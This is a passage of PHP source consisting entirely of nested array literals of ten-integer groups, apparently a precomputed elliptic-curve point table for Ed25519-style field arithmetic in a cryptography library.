-10432089, 14516793, -3640786, 4372541, -31934921, 2209390, -1524053, 2055794), array(580882, 16705327, 5468415, -2683018, -30926419, -14696000, -7203346, -8994389, -30021019, 7394435), ), array( array(23838809, 1822728, -15738443, 15242727, 8318092, -3733104, -21672180, -3492205, -4821741, 14799921), array(13345610, 9759151, 3371034, -16137791, 16353039, 8577942, 31129804, 13496856, -9056018, 7402518), array(2286874, -4435931, -20042458, -2008336, -13696227, 5038122, 11006906, -15760352, 8205061, 1607563), ), array( array(14414086, -8002132, 3331830, -3208217, 22249151, -5594188, 18364661, -2906958, 30019587, -9029278), array(-27688051, 1585953, -10775053, 931069, -29120221, -11002319, -14410829, 12029093, 9944378, 8024), array(4368715, -3709630, 29874200, -15022983, -20230386, -11410704, -16114594, -999085, -8142388, 5640030), ), array( array(10299610, 13746483, 11661824, 16234854, 7630238, 5998374, 9809887, -16694564, 15219798, -14327783), array(27425505, -5719081, 3055006, 10660664, 23458024, 595578, -15398605, -1173195, -18342183, 9742717), array(6744077, 2427284, 26042789, 2720740, -847906, 1118974, 32324614, 7406442, 12420155, 1994844), ), array( array(14012521, -5024720, -18384453, -9578469, -26485342, -3936439, -13033478, -10909803, 24319929, -6446333), array(16412690, -4507367, 10772641, 15929391, -17068788, -4658621, 10555945, -10484049, -30102368, -4739048), array(22397382, -7767684, -9293161, -12792868, 17166287, -9755136, -27333065, 6199366, 21880021, -12250760), ), array( array(-4283307, 5368523, -31117018, 8163389, -30323063, 3209128, 16557151, 8890729, 8840445, 4957760), array(-15447727, 709327, -6919446, -10870178, -29777922, 6522332, -21720181, 12130072, -14796503, 5005757), array(-2114751, -14308128, 23019042, 15765735, -25269683, 6002752, 10183197, -13239326, -16395286, -2176112), ), ), array( array( array(-19025756, 1632005, 13466291, -7995100, -23640451, 16573537, -32013908, -3057104, 22208662, 2000468), array(3065073, -1412761, -25598674, -361432, -17683065, -5703415, -8164212, 11248527, -3691214, -7414184), array(10379208, -6045554, 8877319, 1473647, -29291284, -12507580, 16690915, 2553332, -3132688, 16400289), ), array( array(15716668, 1254266, -18472690, 7446274, -8448918, 6344164, -22097271, -7285580, 26894937, 9132066), array(24158887, 12938817, 11085297, -8177598, -28063478, -4457083, -30576463, 64452, -6817084, -2692882), array(13488534, 7794716, 22236231, 5989356, 25426474, -12578208, 2350710, -3418511, -4688006, 2364226), ), array( array(16335052, 9132434, 25640582, 6678888, 1725628, 8517937, -11807024, -11697457, 15445875, -7798101), array(29004207, -7867081, 28661402, -640412, -12794003, -7943086, 31863255, -4135540, -278050, -15759279), array(-6122061, -14866665, -28614905, 14569919, -10857999, -3591829, 10343412, -6976290, -29828287, -10815811), ), array( array(27081650, 3463984, 14099042, -4517604, 1616303, -6205604, 29542636, 15372179, 17293797, 960709), array(20263915, 11434237, -5765435, 11236810, 13505955, -10857102, -16111345, 6493122, -19384511, 7639714), array(-2830798, -14839232, 25403038, -8215196, -8317012, -16173699, 18006287, -16043750, 29994677, -15808121), ), array( array(9769828, 5202651, -24157398, -13631392, -28051003, -11561624, -24613141, -13860782, -31184575, 709464), array(12286395, 13076066, -21775189, -1176622, -25003198, 4057652, -32018128, -8890874, 16102007, 13205847), array(13733362, 5599946, 10557076, 3195751, -5557991, 8536970, -25540170, 8525972, 10151379, 10394400), ), array( array(4024660, -16137551, 22436262, 12276534, -9099015, -2686099, 19698229, 11743039, -33302334, 8934414), array(-15879800, -4525240, -8580747, -2934061, 14634845, -698278, -9449077, 3137094, -11536886, 11721158), array(17555939, -5013938, 8268606, 2331751, -22738815, 9761013, 9319229, 8835153, -9205489, -1280045), ), array( array(-461409, -7830014, 20614118, 16688288, -7514766, -4807119, 22300304, 505429, 6108462, -6183415), array(-5070281, 12367917, -30663534, 3234473, 32617080, -8422642, 29880583, -13483331, -26898490, -7867459), array(-31975283, 5726539, 26934134, 10237677, -3173717, -605053, 24199304, 3795095, 7592688, -14992079), ), array( array(21594432, -14964228, 17466408, -4077222, 32537084, 2739898, 6407723, 12018833, -28256052, 4298412), array(-20650503, -11961496, -27236275, 570498, 3767144, -1717540, 13891942, -1569194, 13717174, 10805743), array(-14676630, -15644296, 15287174, 11927123, 24177847, -8175568, -796431, 14860609, -26938930, -5863836), ), ), array( array( array(12962541, 5311799, -10060768, 11658280, 18855286, -7954201, 13286263, -12808704, -4381056, 9882022), array(18512079, 11319350, -20123124, 15090309, 18818594, 5271736, -22727904, 3666879, -23967430, -3299429), array(-6789020, -3146043, 16192429, 13241070, 15898607, -14206114, -10084880, -6661110, -2403099, 5276065), ), array( array(30169808, -5317648, 26306206, -11750859, 27814964, 7069267, 7152851, 3684982, 1449224, 13082861), array(10342826, 3098505, 2119311, 193222, 25702612, 12233820, 23697382, 15056736, -21016438, -8202000), array(-33150110, 3261608, 22745853, 7948688, 19370557, -15177665, -26171976, 6482814, -10300080, -11060101), ), array( array(32869458, -5408545, 25609743, 15678670, -10687769, -15471071, 26112421, 2521008, -22664288, 6904815), array(29506923, 4457497, 3377935, -9796444, -30510046, 12935080, 1561737, 3841096, -29003639, -6657642), array(10340844, -6630377, -18656632, -2278430, 12621151, -13339055, 30878497, -11824370, -25584551, 5181966), ), array( array(25940115, -12658025, 17324188, -10307374, -8671468, 15029094, 24396252, -16450922, -2322852, -12388574), array(-21765684, 9916823, -1300409, 4079498, -1028346, 11909559, 1782390, 12641087, 20603771, -6561742), array(-18882287, -11673380, 24849422, 11501709, 13161720, -4768874, 1925523, 11914390, 4662781, 7820689), ), array( array(12241050, -425982, 8132691, 9393934, 32846760, -1599620, 29749456, 12172924, 16136752, 15264020), array(-10349955, -14680563, -8211979, 2330220, -17662549, -14545780, 10658213, 6671822, 19012087, 3772772), array(3753511, -3421066, 10617074, 2028709, 14841030, -6721664, 28718732, -15762884, 20527771, 12988982), ), array( array(-14822485, -5797269, -3707987, 12689773, -898983, -10914866, -24183046, -10564943, 3299665, -12424953), array(-16777703, -15253301, -9642417, 4978983, 3308785, 8755439, 6943197, 6461331, -25583147, 8991218), array(-17226263, 1816362, -1673288, -6086439, 31783888, -8175991, -32948145, 7417950, -30242287, 1507265), ), array( array(29692663, 6829891, -10498800, 4334896, 20945975, -11906496, -28887608, 8209391, 14606362, -10647073), array(-3481570, 8707081, 32188102, 5672294, 22096700, 1711240, -33020695, 9761487, 4170404, -2085325), array(-11587470, 14855945, -4127778, -1531857, -26649089, 15084046, 22186522, 16002000, -14276837, -8400798), ), array( array(-4811456, 13761029, -31703877, -2483919, -3312471, 7869047, -7113572, -9620092, 13240845, 10965870), array(-7742563, -8256762, -14768334, -13656260, -23232383, 12387166, 4498947, 14147411, 29514390, 4302863), array(-13413405, -12407859, 20757302, -13801832, 14785143, 8976368, -5061276, -2144373, 17846988, -13971927), ), ), array( array( array(-2244452, -754728, -4597030, -1066309, -6247172, 1455299, -21647728, -9214789, -5222701, 12650267), array(-9906797, -16070310, 21134160, 12198166, -27064575, 708126, 387813, 13770293, -19134326, 10958663), array(22470984, 12369526, 23446014, -5441109, -21520802, -9698723, -11772496, -11574455, -25083830, 4271862), ), array( array(-25169565, -10053642, -19909332, 15361595, -5984358, 2159192, 75375, -4278529, -32526221, 8469673), array(15854970, 4148314, -8893890, 7259002, 11666551, 13824734, -30531198, 2697372, 24154791, -9460943), array(15446137, -15806644, 29759747, 14019369, 30811221, -9610191, -31582008, 12840104, 24913809, 9815020), ), array( array(-4709286, -5614269, -31841498, -12288893, -14443537, 10799414, -9103676, 13438769, 18735128, 9466238), array(11933045, 9281483, 5081055, -5183824, -2628162, -4905629, -7727821, -10896103, -22728655, 16199064), array(14576810, 379472, -26786533, -8317236, -29426508, -10812974, -102766, 1876699, 30801119, 2164795), ), array( array(15995086, 3199873, 13672555, 13712240, -19378835, -4647646, -13081610, -15496269, -13492807, 1268052), array(-10290614, -3659039, -3286592, 10948818, 23037027, 3794475, -3470338, -12600221, -17055369, 3565904), array(29210088, -9419337, -5919792, -4952785, 10834811, -13327726, -16512102, -10820713, -27162222, -14030531), ), array( array(-13161890, 15508588, 16663704, -8156150, -28349942, 9019123, -29183421, -3769423, 2244111, -14001979), array(-5152875, -3800936, -9306475, -6071583, 16243069, 14684434, -25673088, -16180800, 13491506, 4641841), array(10813417, 643330, -19188515, -728916, 30292062, -16600078, 27548447, -7721242, 14476989, -12767431), ), array( array(10292079, 9984945, 6481436, 8279905, -7251514, 7032743, 27282937, -1644259, -27912810, 12651324), array(-31185513, -813383, 22271204, 11835308, 10201545, 15351028, 17099662, 3988035, 21721536, -3148940), array(10202177, -6545839, -31373232, -9574638, -32150642, -8119683, -12906320, 3852694, 13216206, 14842320), ), array( array(-15815640, -10601066, -6538952, -7258995, -6984659, -6581778, -31500847, 13765824, -27434397, 9900184), array(14465505, -13833331, -32133984, -14738873, -27443187, 12990492, 33046193, 15796406, -7051866, -8040114), array(30924417, -8279620, 6359016, -12816335, 16508377, 9071735, -25488601, 15413635, 9524356, -7018878), ), array( array(12274201, -13175547, 32627641, -1785326, 6736625, 13267305, 5237659, -5109483, 15663516, 4035784), array(-2951309, 8903985, 17349946, 601635, -16432815, -4612556, -13732739, -15889334, -22258478, 4659091), array(-16916263, -4952973, -30393711, -15158821, 20774812, 15897498, 5736189, 15026997, -2178256, -13455585), ), ), array( array( array(-8858980, -2219056, 28571666, -10155518, -474467, -10105698, -3801496, 278095, 23440562, -290208), array(10226241, -5928702, 15139956, 120818, -14867693, 5218603, 32937275, 11551483, -16571960, -7442864), array(17932739, -12437276, -24039557, 10749060, 11316803, 7535897, 22503767, 5561594, -3646624, 3898661), ), array( array(7749907, -969567, -16339731, -16464, -25018111, 15122143, -1573531, 7152530, 21831162, 1245233), array(26958459, -14658026, 4314586, 8346991, -5677764, 11960072, -32589295, -620035, -30402091, -16716212), array(-12165896, 9166947, 33491384, 13673479, 29787085, 13096535, 6280834, 14587357, -22338025, 13987525), ), array( array(-24349909, 7778775, 21116000, 15572597, -4833266, -5357778, -4300898, -5124639, -7469781, -2858068), array(9681908, -6737123, -31951644, 13591838, -6883821, 386950, 31622781, 6439245, -14581012, 4091397), array(-8426427, 1470727, -28109679, -1596990, 3978627, -5123623, -19622683, 12092163, 29077877, -14741988), ), array( array(5269168, -6859726, -13230211, -8020715, 25932563, 1763552, -5606110, -5505881, -20017847, 2357889), array(32264008, -15407652, -5387735, -1160093, -2091322, -3946900, 23104804, -12869908, 5727338, 189038), array(14609123, -8954470, -6000566, -16622781, -14577387, -7743898, -26745169, 10942115, -25888931, -14884697), ), array( array(20513500, 5557931, -15604613, 7829531, 26413943, -2019404, -21378968, 7471781, 13913677, -5137875), array(-25574376, 11967826, 29233242, 12948236, -6754465, 4713227, -8940970, 14059180, 12878652, 8511905), array(-25656801, 3393631, -2955415, -7075526, -2250709, 9366908, -30223418, 6812974, 5568676, -3127656), ), array( array(11630004, 12144454, 2116339, 13606037, 27378885, 15676917, -17408753, -13504373, -14395196, 8070818), array(27117696, -10007378, -31282771, -5570088, 1127282, 12772488, -29845906, 10483306, -11552749, -1028714), array(10637467, -5688064, 5674781, 1072708, -26343588, -6982302, -1683975, 9177853, -27493162, 15431203), ), array( array(20525145, 10892566, -12742472, 12779443, -29493034, 16150075, -28240519, 14943142, -15056790, -7935931), array(-30024462, 5626926, -551567, -9981087, 753598, 11981191, 25244767, -3239766, -3356550, 9594024), array(-23752644, 2636870, -5163910, -10103818, 585134, 7877383, 11345683, -6492290, 13352335, -10977084), ), array( array(-1931799, -5407458, 3304649, -12884869, 17015806, -4877091, -29783850, -7752482, -13215537, -319204), array(20239939, 6607058, 6203985, 3483793, -18386976, -779229, -20723742, 15077870, -22750759, 14523817), array(27406042, -6041657, 27423596, -4497394, 4996214, 10002360, -28842031, -4545494, -30172742, -4805667), ), ), array( array( array(11374242, 12660715, 17861383, -12540833, 10935568, 1099227, -13886076, -9091740, -27727044, 11358504), array(-12730809, 10311867, 1510375, 10778093, -2119455, -9145702, 32676003, 11149336, -26123651, 4985768), array(-19096303, 341147, -6197485, -239033, 15756973, -8796662, -983043, 13794114, -19414307, -15621255), ), array( array(6490081, 11940286, 25495923, -7726360, 8668373, -8751316, 3367603, 6970005, -1691065, -9004790), array(1656497, 13457317, 15370807, 6364910, 13605745, 8362338, -19174622, -5475723, -16796596, -5031438), array(-22273315, -13524424, -64685, -4334223, -18605636, -10921968, -20571065, -7007978, -99853, -10237333), ), array( array(17747465, 10039260, 19368299, -4050591, -20630635, -16041286, 31992683, -15857976, -29260363, -5511971), array(31932027, -4986141, -19612382, 16366580, 22023614, 88450, 11371999, -3744247, 4882242, -10626905), array(29796507, 37186, 19818052, 10115756, -11829032, 3352736, 18551198, 3272828, -5190932, -4162409), ), array( array(12501286, 4044383, -8612957, -13392385, -32430052, 5136599, -19230378, -3529697, 330070, -3659409), array(6384877, 2899513, 17807477, 7663917, -2358888, 12363165, 25366522, -8573892, -271295, 12071499), array(-8365515, -4042521, 25133448, -4517355, -6211027, 2265927, -32769618, 1936675, -5159697, 3829363), ), array( array(28425966, -5835433, -577090, -4697198, -14217555, 6870930, 7921550, -6567787, 26333140, 14267664), array(-11067219, 11871231, 27385719, -10559544, -4585914, -11189312, 10004786, -8709488, -21761224, 8930324), array(-21197785, -16396035, 25654216, -1725397, 12282012, 11008919, 1541940, 4757911, -26491501, -16408940), ), array( array(13537262, -7759490, -20604840, 10961927, -5922820, -13218065, -13156584, 6217254, -15943699, 13814990), array(-17422573, 15157790, 18705543, 29619, 24409717, -260476, 27361681, 9257833, -1956526, -1776914), array(-25045300, -10191966, 15366585, 15166509, -13105086, 8423556, -29171540, 12361135, -18685978, 4578290), ), array( array(24579768, 3711570, 1342322, -11180126, -27005135, 14124956, -22544529, 14074919, 21964432, 8235257), array(-6528613, -2411497, 9442966, -5925588, 12025640, -1487420, -2981514, -1669206, 13006806, 2355433), array(-16304899, -13605259, -6632427, -5142349, 16974359, -10911083, 27202044, 1719366, 1141648, -12796236), ), array( array(-12863944, -13219986, -8318266, -11018091, -6810145, -4843894, 13475066, -3133972, 32674895, 13715045), array(11423335, -5468059, 32344216, 8962751, 24989809, 9241752, -13265253, 16086212, -28740881, -15642093), array(-1409668, 12530728, -6368726, 10847387, 19531186, -14132160, -11709148, 7791794, -27245943, 4383347), ), ), array( array( array(-28970898, 5271447, -1266009, -9736989, -12455236, 16732599, -4862407, -4906449, 27193557, 6245191), array(-15193956, 5362278, -1783893, 2695834, 4960227, 12840725, 23061898, 3260492, 22510453, 8577507), array(-12632451, 11257346, -32692994, 13548177, -721004, 10879011, 31168030, 13952092, -29571492, -3635906), ), array( array(3877321, -9572739, 32416692, 5405324, -11004407, -13656635, 3759769, 11935320, 5611860, 8164018), array(-16275802, 14667797, 15906460, 12155291, -22111149, -9039718, 32003002, -8832289, 5773085, -8422109), array(-23788118, -8254300, 1950875, 8937633, 18686727, 16459170, -905725, 12376320, 31632953, 190926), ), array( array(-24593607, -16138885, -8423991, 13378746, 14162407, 6901328, -8288749, 4508564, -25341555, -3627528), array(8884438, -5884009, 6023974, 10104341, -6881569, -4941533, 18722941, -14786005, -1672488, 827625), array(-32720583, -16289296, -32503547, 7101210, 13354605, 2659080, -1800575, -14108036, -24878478, 1541286), ), array( array(2901347, -1117687, 3880376, -10059388, -17620940, -3612781, -21802117, -3567481, 20456845, -1885033), array(27019610, 12299467, -13658288, -1603234, -12861660, -4861471, -19540150, -5016058, 29439641, 15138866), array(21536104, -6626420, -32447818, -10690208, -22408077, 5175814, -5420040, -16361163, 7779328, 109896), ), array( array(30279744, 14648750, -8044871, 6425558, 13639621, -743509, 28698390, 12180118, 23177719, -554075), array(26572847, 3405927, -31701700, 12890905, -19265668, 5335866, -6493768, 2378492, 4439158, -13279347), array(-22716706, 3489070, -9225266, -332753, 18875722, -1140095, 14819434, -12731527, -17717757, -5461437), ), array( array(-5056483, 16566551, 15953661, 3767752, -10436499, 15627060, -820954, 2177225, 8550082, -15114165), array(-18473302, 16596775, -381660, 15663611, 22860960, 15585581, -27844109, -3582739, -23260460, -8428588), array(-32480551, 15707275, -8205912, -5652081, 29464558, 2713815, -22725137, 15860482, -21902570, 1494193), ), array( array(-19562091, -14087393, -25583872, -9299552, 13127842, 759709, 21923482, 16529112, 8742704, 12967017), array(-28464899, 1553205, 32536856, -10473729, -24691605, -406174, -8914625, -2933896, -29903758, 15553883), array(21877909, 3230008, 9881174, 10539357, -4797115, 2841332, 11543572, 14513274, 19375923, -12647961), ), array( array(8832269, -14495485, 13253511, 5137575, 5037871, 4078777, 24880818, -6222716, 2862653, 9455043), array(29306751, 5123106, 20245049, -14149889, 9592566, 8447059, -2077124, -2990080, 15511449, 4789663), array(-20679756, 7004547, 8824831, -9434977, -4045704, -3750736, -5754762, 108893, 23513200, 16652362), ), ), array( array( array(-33256173, 4144782, -4476029, -6579123, 10770039, -7155542, -6650416, -12936300, -18319198, 10212860), array(2756081, 8598110, 7383731, -6859892, 22312759, -1105012, 21179801, 2600940, -9988298, -12506466), array(-24645692, 13317462, -30449259, -15653928, 21365574, -10869657, 11344424, 864440, -2499677, -16710063), ), array( array(-26432803, 6148329, -17184412, -14474154, 18782929, -275997, -22561534, 211300, 2719757, 4940997), array(-1323882, 3911313, -6948744, 14759765, -30027150, 7851207, 21690126, 8518463, 26699843, 5276295), array(-13149873, -6429067, 9396249, 365013, 24703301, -10488939, 1321586, 149635, -15452774, 7159369), ), array( array(9987780, -3404759, 17507962, 9505530, 9731535, -2165514, 22356009, 8312176, 22477218, -8403385), array(18155857, -16504990, 19744716, 9006923, 15154154, -10538976, 24256460, -4864995, -22548173, 9334109), array(2986088, -4911893, 10776628, -3473844, 10620590, -7083203, -21413845, 14253545, -22587149, 536906), ), array( array(4377756, 8115836, 24567078, 15495314, 11625074, 13064599, 7390551, 10589625, 10838060, -15420424), array(-19342404, 867880, 9277171, -3218459, -14431572, -1986443, 19295826, -15796950, 6378260, 699185), array(7895026, 4057113, -7081772, -13077756, -17886831, -323126, -716039, 15693155, -5045064, -13373962), ), array( array(-7737563, -5869402, -14566319, -7406919, 11385654, 13201616, 31730678, -10962840, -3918636, -9669325), array(10188286, -15770834, -7336361, 13427543, 22223443, 14896287, 30743455, 7116568, -21786507, 5427593), array(696102, 13206899, 27047647, -10632082, 15285305, -9853179, 10798490, -4578720, 19236243, 12477404), ), array( array(-11229439, 11243796, -17054270, -8040865, -788228, -8167967, -3897669, 11180504, -23169516, 7733644), array(17800790, -14036179, -27000429, -11766671, 23887827, 3149671, 23466177, -10538171, 10322027, 15313801), array(26246234, 11968874, 32263343, -5468728, 6830755, -13323031, -15794704, -101982, -24449242, 10890804), ), array( array(-31365647, 10271363, -12660625, -6267268, 16690207, -13062544, -14982212, 16484931, 25180797, -5334884), array(-586574, 10376444, -32586414, -11286356, 19801893, 10997610, 2276632, 9482883, 316878, 13820577), array(-9882808, -4510367, -2115506, 16457136, -11100081, 11674996, 30756178, -7515054, 30696930, -3712849), ), array( array(32988917, -9603412, 12499366, 7910787, -10617257, -11931514, -7342816, -9985397, -32349517, 7392473), array(-8855661, 15927861, 9866406, -3649411, -2396914, -16655781, -30409476, -9134995, 25112947, -2926644), array(-2504044, -436966, 25621774, -5678772, 15085042, -5479877, -24884878, -13526194, 5537438, -13914319), ), ), array( array( array(-11225584, 2320285, -9584280, 10149187, -33444663, 5808648, -14876251, -1729667, 31234590, 6090599), array(-9633316, 116426, 26083934, 2897444, -6364437, -2688086, 609721, 15878753, -6970405, -9034768), array(-27757857, 247744, -15194774, -9002551, 23288161, -10011936, -23869595, 6503646, 20650474, 1804084), ), array( array(-27589786, 15456424, 8972517, 8469608, 15640622, 4439847, 3121995, -10329713, 27842616, -202328), array(-15306973, 2839644, 22530074, 10026331, 4602058, 5048462, 28248656, 5031932, -11375082, 12714369), array(20807691, -7270825, 29286141, 11421711, -27876523, -13868230, -21227475, 1035546, -19733229, 12796920), ), array( array(12076899, -14301286, -8785001, -11848922, -25012791, 16400684, -17591495, -12899438, 3480665, -15182815), array(-32361549, 5457597, 28548107, 7833186, 7303070, -11953545, -24363064, -15921875, -33374054, 2771025), array(-21389266, 421932, 26597266, 6860826, 22486084, -6737172, -17137485, -4210226, -24552282, 15673397), ), array( array(-20184622, 2338216, 19788685, -9620956, -4001265, -8740893, -20271184, 4733254, 3727144, -12934448), array(6120119, 814863, -11794402, -622716, 6812205, -15747771, 2019594, 7975683, 31123697, -10958981), array(30069250, -11435332, 30434654, 2958439, 18399564, -976289, 12296869, 9204260, -16432438, 9648165), ), array( array(32705432, -1550977, 30705658, 7451065, -11805606, 9631813, 3305266, 5248604, -26008332, -11377501), array(17219865, 2375039, -31570947, -5575615, -19459679, 9219903, 294711, 15298639, 2662509, -16297073), array(-1172927, -7558695, -4366770, -4287744, -21346413, -8434326, 32087529, -1222777, 32247248, -14389861), ), array( array(14312628, 1221556, 17395390, -8700143, -4945741, -8684635, -28197744, -9637817, -16027623, -13378845), array(-1428825, -9678990, -9235681, 6549687, -7383069, -468664, 23046502, 9803137, 17597934, 2346211), array(18510800, 15337574, 26171504, 981392, -22241552, 7827556, -23491134, -11323352, 3059833, -11782870), ), array( array(10141598, 6082907, 17829293, -1947643, 9830092, 13613136, -25556636, -5544586, -33502212, 3592096), array(33114168, -15889352, -26525686, -13343397, 33076705, 8716171, 1151462, 1521897, -982665, -6837803), array(-32939165, -4255815, 23947181, -324178, -33072974, -12305637, -16637686, 3891704, 26353178, 693168), ), array( array(30374239, 1595580, -16884039, 13186931, 4600344, 406904, 9585294, -400668, 31375464, 14369965), array(-14370654, -7772529, 1510301, 6434173, -18784789, -6262728, 32732230, -13108839, 17901441, 16011505), array(18171223, -11934626, -12500402, 15197122, -11038147, -15230035, -19172240, -16046376, 8764035, 12309598), ), ), array( array( array(5975908, -5243188, -19459362, -9681747, -11541277, 14015782, -23665757, 1228319, 17544096, -10593782), array(5811932, -1715293, 3442887, -2269310, -18367348, -8359541, -18044043, -15410127, -5565381, 12348900), array(-31399660, 11407555, 25755363, 6891399, -3256938, 14872274, -24849353, 8141295, -10632534, -585479), ), array( array(-12675304, 694026, -5076145, 13300344, 14015258, -14451394, -9698672, -11329050, 30944593, 1130208), array(8247766, -6710942, -26562381, -7709309, -14401939, -14648910, 4652152, 2488540, 23550156, -271232), array(17294316, -3788438, 7026748, 15626851, 22990044, 113481, 2267737, -5908146, -408818, -137719), ), array( array(16091085, -16253926, 18599252, 7340678, 2137637, -1221657, -3364161, 14550936, 3260525, -7166271), array(-4910104, -13332887, 18550887, 10864893, -16459325, -7291596, -23028869, -13204905, -12748722, 2701326), array(-8574695, 16099415, 4629974, -16340524, -20786213, -6005432, -10018363, 9276971, 11329923, 1862132), ), array( array(14763076, -15903608, -30918270, 3689867, 3511892, 10313526, -21951088, 12219231, -9037963, -940300), array(8894987, -3446094, 6150753, 3013931, 301220, 15693451, -31981216, -2909717, -15438168, 11595570), array(15214962, 3537601, -26238722, -14058872, 4418657, -15230761, 13947276, 10730794, -13489462, -4363670), ), array( array(-2538306, 7682793, 32759013, 263109, -29984731, -7955452, -22332124, -10188635, 977108, 699994), array(-12466472, 4195084, -9211532, 550904, -15565337, 12917920, 19118110, -439841, -30534533, -14337913), array(31788461, -14507657, 4799989, 7372237, 8808585, -14747943, 9408237, -10051775, 12493932, -5409317), ), array( array(-25680606, 5260744, -19235809, -6284470, -3695942, 16566087, 27218280, 2607121, 29375955, 6024730), array(842132, -2794693, -4763381, -8722815, 26332018, -12405641, 11831880, 6985184, -9940361, 2854096), array(-4847262, -7969331, 2516242, -5847713, 9695691, -7221186, 16512645, 960770, 12121869, 16648078), ), array( array(-15218652, 14667096, -13336229, 2013717, 30598287, -464137, -31504922, -7882064, 20237806, 2838411), array(-19288047, 4453152, 15298546, -16178388, 22115043, -15972604, 12544294, -13470457, 1068881, -12499905), array(-9558883, -16518835, 33238498, 13506958, 30505848, -1114596, -8486907, -2630053, 12521378, 4845654), ), array( array(-28198521, 10744108, -2958380, 10199664, 7759311, -13088600, 3409348, -873400, -6482306, -12885870), array(-23561822, 6230156, -20382013, 10655314, -24040585, -11621172, 10477734, -1240216, -3113227, 13974498), array(12966261, 15550616, -32038948, -1615346, 21025980, -629444, 5642325, 7188737, 18895762, 12629579), ), ), array( array( array(14741879, -14946887, 22177208, -11721237, 1279741, 8058600, 11758140, 789443, 32195181, 3895677), array(10758205, 15755439, -4509950, 9243698, -4879422, 6879879, -2204575, -3566119, -8982069, 4429647), array(-2453894, 15725973, -20436342, -10410672, -5803908, -11040220, -7135870, -11642895, 18047436, -15281743), ), array( array(-25173001, -11307165, 29759956, 11776784, -22262383, -15820455, 10993114, -12850837, -17620701, -9408468), array(21987233, 700364, -24505048, 14972008, -7774265, -5718395, 32155026, 2581431, -29958985, 8773375), array(-25568350, 454463, -13211935, 16126715, 25240068, 8594567, 20656846, 12017935, -7874389, -13920155), ), array( array(6028182, 6263078, -31011806, -11301710, -818919, 2461772, -31841174, -5468042, -1721788, -2776725), array(-12278994, 16624277, 987579, -5922598, 32908203, 1248608, 7719845, -4166698, 28408820, 6816612), array(-10358094, -8237829, 19549651, -12169222, 22082623, 16147817, 20613181, 13982702, -10339570, 5067943), ), array( array(-30505967, -3821767, 12074681, 13582412, -19877972, 2443951, -19719286, 12746132, 5331210, -10105944), array(30528811, 3601899, -1957090, 4619785, -27361822, -15436388, 24180793, -12570394, 27679908, -1648928), array(9402404, -13957065, 32834043, 10838634, -26580150, -13237195, 26653274, -8685565, 22611444, -12715406), ), array( array(22190590, 1118029, 22736441, 15130463, -30460692, -5991321, 19189625, -4648942, 4854859, 6622139), array(-8310738, -2953450, -8262579, -3388049, -10401731, -271929, 13424426, -3567227, 26404409, 13001963), array(-31241838, -15415700, -2994250, 8939346, 11562230, -12840670, -26064365, -11621720, -15405155, 11020693), ), array( array(1866042, -7949489, -7898649, -10301010, 12483315, 13477547, 3175636, -12424163, 28761762, 1406734), array(-448555, -1777666, 13018551, 3194501, -9580420, -11161737, 24760585, -4347088, 25577411, -13378680), array(-24290378, 4759345, -690653, -1852816, 2066747, 10693769, -29595790, 9884936, -9368926, 4745410), ), array( array(-9141284, 6049714, -19531061, -4341411, -31260798, 9944276, -15462008, -11311852, 10931924, -11931931), array(-16561513, 14112680, -8012645, 4817318, -8040464, -11414606, -22853429, 10856641, -20470770, 13434654), array(22759489, -10073434, -16766264, -1871422, 13637442, -10168091, 1765144, -12654326, 28445307, -5364710), ), array( array(29875063, 12493613, 2795536, -3786330, 1710620, 15181182, -10195717, -8788675, 9074234, 1167180), array(-26205683, 11014233, -9842651, -2635485, -26908120, 7532294, -18716888, -9535498, 3843903, 9367684), array(-10969595, -6403711, 9591134, 9582310, 11349256, 108879, 16235123, 8601684, -139197, 4242895), ), ), array( array( array(22092954, -13191123, -2042793, -11968512, 32186753, -11517388, -6574341, 2470660, -27417366, 16625501), array(-11057722, 3042016, 13770083, -9257922, 584236, -544855, -7770857, 2602725, -27351616, 14247413), array(6314175, -10264892, -32772502, 15957557, -10157730, 168750, -8618807, 14290061, 27108877, -1180880), ), array( array(-8586597, -7170966, 13241782, 10960156, -32991015, -13794596, 33547976, -11058889, -27148451, 981874), array(22833440, 9293594, -32649448, -13618667, -9136966, 14756819, -22928859, -13970780, -10479804, -16197962), array(-7768587, 3326786, -28111797, 10783824, 19178761, 14905060, 22680049, 13906969, -15933690, 3797899), ), array( array(21721356, -4212746, -12206123, 9310182, -3882239, -13653110, 23740224, -2709232, 20491983, -8042152), array(9209270, -15135055, -13256557, -6167798, -731016, 15289673, 25947805, 15286587, 30997318, -6703063), array(7392032, 16618386, 23946583, -8039892, -13265164, -1533858, -14197445, -2321576, 17649998, -250080), ), array( array(-9301088, -14193827, 30609526, -3049543, -25175069, -1283752, -15241566, -9525724, -2233253, 7662146), array(-17558673, 1763594, -33114336, 15908610, -30040870, -12174295, 7335080, -8472199, -3174674, 3440183), array(-19889700, -5977008, -24111293, -9688870, 10799743, -16571957, 40450, -4431835, 4862400, 1133), ), array( array(-32856209, -7873957, -5422389, 14860950, -16319031, 7956142, 7258061, 311861, -30594991, -7379421), array(-3773428, -1565936, 28985340, 7499440, 24445838, 9325937, 29727763, 16527196, 18278453, 15405622), array(-4381906, 8508652, -19898366, -3674424, -5984453, 15149970, -13313598, 843523, -21875062, 13626197), ), array( array(2281448, -13487055, -10915418, -2609910, 1879358, 16164207, -10783882, 3953792, 13340839, 15928663), array(31727126, -7179855, -18437503, -8283652, 2875793, -16390330, -25269894, -7014826, -23452306, 5964753), array(4100420, -5959452, -17179337, 6017714, -18705837, 12227141, -26684835, 11344144, 2538215, -7570755), ), array( array(-9433605, 6123113, 11159803, -2156608, 30016280, 14966241, -20474983, 1485421, -629256, -15958862), array(-26804558, 4260919, 11851389, 9658551, -32017107, 16367492, -20205425, -13191288, 11659922, -11115118), array(26180396, 10015009, -30844224, -8581293, 5418197, 9480663, 2231568, -10170080, 33100372, -1306171), ), array( array(15121113, -5201871, -10389905, 15427821, -27509937, -15992507, 21670947, 4486675, -5931810, -14466380), array(16166486, -9483733, -11104130, 6023908, -31926798, -1364923, 2340060, -16254968, -10735770, -10039824), array(28042865, -3557089, -12126526, 12259706, -3717498, -6945899, 6766453, -8689599, 18036436, 5803270), ), ), array( array( array(-817581, 6763912, 11803561, 1585585, 10958447, -2671165, 23855391, 4598332, -6159431, -14117438), array(-31031306, -14256194, 17332029, -2383520, 31312682, -5967183, 696309, 50292, -20095739, 11763584), array(-594563, -2514283, -32234153, 12643980, 12650761, 14811489, 665117, -12613632, -19773211, -10713562), ), array( array(30464590, -11262872, -4127476, -12734478, 19835327, -7105613, -24396175, 2075773, -17020157, 992471), array(18357185, -6994433, 7766382, 16342475, -29324918, 411174, 14578841, 8080033, -11574335, -10601610), array(19598397, 